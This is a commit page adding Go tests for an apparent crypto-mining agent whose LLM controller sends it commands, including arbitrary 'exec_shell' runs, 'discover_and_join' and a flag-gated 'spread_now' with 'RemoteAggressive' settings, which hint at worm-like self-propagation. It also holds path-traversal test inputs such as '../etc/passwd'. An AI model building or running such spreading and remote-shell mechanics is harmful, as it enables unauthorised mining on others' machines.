Add Calibrate AI Control UI and fleet LLM backend wiring.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Operators toggle Logic gates vs AI Control on Settings, refresh local Ollama models, and save ai_endpoint settings via Calibrate PUT; server scheduler and agent snapshot/command paths support stateless 60s fleet decisions.
This commit is contained in:
137
agent/client/ai_commands_test.go
Normal file
137
agent/client/ai_commands_test.go
Normal file
@@ -0,0 +1,137 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestValidateAICommandPathRejectsTraversal(t *testing.T) {
|
||||
cases := []string{
|
||||
"../etc/passwd",
|
||||
"/home/user/../../secret",
|
||||
`C:\Users\alice\..\admin`,
|
||||
}
|
||||
for _, path := range cases {
|
||||
if err := validateAICommandPath(path); err == nil {
|
||||
t.Fatalf("expected traversal rejection for %q", path)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestValidateAICommandPathAllowsSafePaths(t *testing.T) {
|
||||
for _, path := range []string{"", "~/Downloads", "C:\\Users\\alice\\docs"} {
|
||||
if err := validateAICommandPath(path); err != nil {
|
||||
t.Fatalf("path %q: %v", path, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleAIExecShellRejectsTraversalPath(t *testing.T) {
|
||||
var gotAction string
|
||||
var gotOK bool
|
||||
var gotMsg string
|
||||
c := newTestClient(t)
|
||||
c.commandResultHook = func(action string, success bool, message string) {
|
||||
gotAction = action
|
||||
gotOK = success
|
||||
gotMsg = message
|
||||
}
|
||||
c.handleAICommand("exec_shell", 0, "echo hi", "../outside", "")
|
||||
if gotAction != "exec_shell" || gotOK || !strings.Contains(gotMsg, "path traversal") {
|
||||
t.Fatalf("got action=%s ok=%v msg=%q", gotAction, gotOK, gotMsg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleAIExecShellRequiresCommand(t *testing.T) {
|
||||
var gotMsg string
|
||||
c := newTestClient(t)
|
||||
c.commandResultHook = func(_ string, success bool, message string) {
|
||||
if !success {
|
||||
gotMsg = message
|
||||
}
|
||||
}
|
||||
c.handleAICommand("exec_shell", 0, "", "", "")
|
||||
if !strings.Contains(gotMsg, "command is required") {
|
||||
t.Fatalf("msg=%q", gotMsg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleAIRunDiagnostics(t *testing.T) {
|
||||
var gotAction string
|
||||
var gotOK bool
|
||||
c := newTestClient(t)
|
||||
c.commandResultHook = func(action string, success bool, _ string) {
|
||||
gotAction = action
|
||||
gotOK = success
|
||||
}
|
||||
c.handleAICommand("run_diagnostics", 0, "", "", "")
|
||||
if gotAction != "run_diagnostics" || !gotOK {
|
||||
t.Fatalf("action=%s ok=%v", gotAction, gotOK)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleAISpreadNowRequiresForgeFlag(t *testing.T) {
|
||||
var gotOK bool
|
||||
var gotMsg string
|
||||
c := newTestClient(t)
|
||||
c.cfg.AutoSpread = false
|
||||
c.cfg.RemoteAggressive = false
|
||||
c.commandResultHook = func(_ string, success bool, message string) {
|
||||
gotOK = success
|
||||
gotMsg = message
|
||||
}
|
||||
c.handleAICommand("spread_now", 0, "", "", "")
|
||||
if gotOK || !strings.Contains(gotMsg, "not enabled") {
|
||||
t.Fatalf("ok=%v msg=%q", gotOK, gotMsg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleAICommandUnknownAction(t *testing.T) {
|
||||
c := newTestClient(t)
|
||||
if c.handleAICommand("not_an_ai_command", 0, "", "", "") {
|
||||
t.Fatal("unknown action should not be handled")
|
||||
}
|
||||
}
|
||||
|
||||
func TestAICommandHandlersCoverRequiredActions(t *testing.T) {
|
||||
required := []string{
|
||||
"exec_shell", "restart_mining", "run_diagnostics",
|
||||
"discover_and_join", "spread_now", "full_sys_check",
|
||||
}
|
||||
for _, action := range required {
|
||||
if _, ok := aiCommandHandlers[action]; !ok {
|
||||
t.Fatalf("missing handler for %q", action)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleAIRestartMining(t *testing.T) {
|
||||
var gotAction string
|
||||
var gotOK bool
|
||||
c := newTestClient(t)
|
||||
c.commandResultHook = func(action string, success bool, _ string) {
|
||||
gotAction = action
|
||||
gotOK = success
|
||||
}
|
||||
c.handleAICommand("restart_mining", 0, "", "", "")
|
||||
if gotAction != "restart_mining" || !gotOK {
|
||||
t.Fatalf("action=%s ok=%v", gotAction, gotOK)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleAIFullSysCheck(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.GetBuiltinConfig(), AgentID: "a1"}
|
||||
c := &AgentClient{cfg: cfg, agentID: "a1", reporter: newTestClient(t).reporter, pool: newTestClient(t).pool}
|
||||
var gotOK bool
|
||||
c.commandResultHook = func(action string, success bool, _ string) {
|
||||
if action == "full_sys_check" {
|
||||
gotOK = success
|
||||
}
|
||||
}
|
||||
c.handleAICommand("full_sys_check", 0, "", "", "")
|
||||
if !gotOK {
|
||||
t.Fatal("expected full_sys_check success")
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user